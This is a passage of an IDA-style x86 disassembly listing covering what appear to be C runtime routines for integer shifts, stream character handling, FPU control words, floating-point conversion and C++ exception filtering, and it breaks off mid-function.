		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB


loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx


loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax


loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax


loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax


loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8


loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4


loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2


loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1


loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h


loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1


loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------


loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h


loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax


loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4


loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8


loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h


loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h


loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2


loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4


loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------


loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx


loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]


loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8


loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]


loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208


loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]


loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------


loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx


loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2


loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------


loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx


loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h


loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------


loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------


loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx


loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax


loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------


loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D328
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D340
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------


loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx


loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]


loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8


loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------


loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]


loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------


loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h


loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBB20
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DBB48, eax
		add	esp, 18h
		movsx	eax, byte_4DBB22
		mov	dword_4DBB40, eax
		pop	edi
		movsx	eax, word_4DBB20
		mov	dword_4DBB44, eax
		mov	dword_4DBB4C, offset dword_4DBB24
		mov	eax, offset dword_4DBB40
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------


loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------


loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043CF68o
					; ___:0043D7C8o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------


loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DBB50
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DBB50
		jmp	short loc_42474E
; ---------------------------------------------------------------------------


loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax


loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1CB8A3E8h], dl
		add	ah, byte ptr dword_4DBB50[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4DBB5035h, 0B892E800h, 0C390021Ch

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 25E0B74h
		nop
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi


loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 28B0000h
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi


